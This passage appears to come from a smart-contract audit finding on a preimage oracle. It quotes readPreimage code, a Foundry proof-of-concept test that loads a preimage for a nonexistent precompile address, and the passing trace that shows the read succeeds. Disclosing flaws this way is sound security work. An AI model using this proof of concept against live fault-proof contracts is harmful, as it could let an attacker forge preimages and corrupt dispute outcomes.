			dat, datLen := m.readPreimage(m.state.PreimageKey, m.state.PreimageOffset)
                    (bytes32 dat, uint256 datLen) = ORACLE.readPreimage(preimageKey, state.preimageOffset);
    function readPreimage(bytes32 _key, uint256 _offset) external view returns (bytes32 dat_, uint256 datLen_) {
->      require(preimagePartOk[_key][_offset], "pre-image must exist");

        // Calculate the length of the pre-image data
        // Add 8 for the length-prefix part
        datLen_ = 32;
        uint256 length = preimageLengths[_key];
        if (_offset + 32 >= length + 8) {
            datLen_ = length + 8 - _offset;
        }

        // Retrieve the pre-image data
        dat_ = preimageParts[_key][_offset];
    }
    function test_poc() public {
        bytes memory input = hex"deadbeef1337";
        uint256 offset = 0x00;
        // Newly added precompile
        address precompile = address(bytes20(uint160(0x0b)));
        bytes32 key = precompilePreimageKey(precompile, input);
        oracle.loadPrecompilePreimagePart(offset, precompile, input);

        // try reading, it should succeed
        oracle.readPreimage(key, offset);
    }
Ran 1 test for test/cannon/PreimageOracle.t.sol:PreimageOracle_Test
[PASS] test_poc() (gas: 78279)
Traces:
  [78279] PreimageOracle_Test::test_poc()
     [70193] PreimageOracle::loadPrecompilePreimagePart(0, 0x000000000000000000000000000000000000000b, 0xdeadbeef1337)
        [0] 0x000000000000000000000000000000000000000b::deadbeef(1337) [staticcall]
            [Stop]
         [Stop]
     [1420] PreimageOracle::readPreimage(0x06305151be4abfdb70c687fa523f7bcbd835866a36eff720ca0ecbfee10c8320, 0) [staticcall]
         [Return] 0x0000000000000001010000000000000000000000000000000000000000000000, 9
      [Stop]
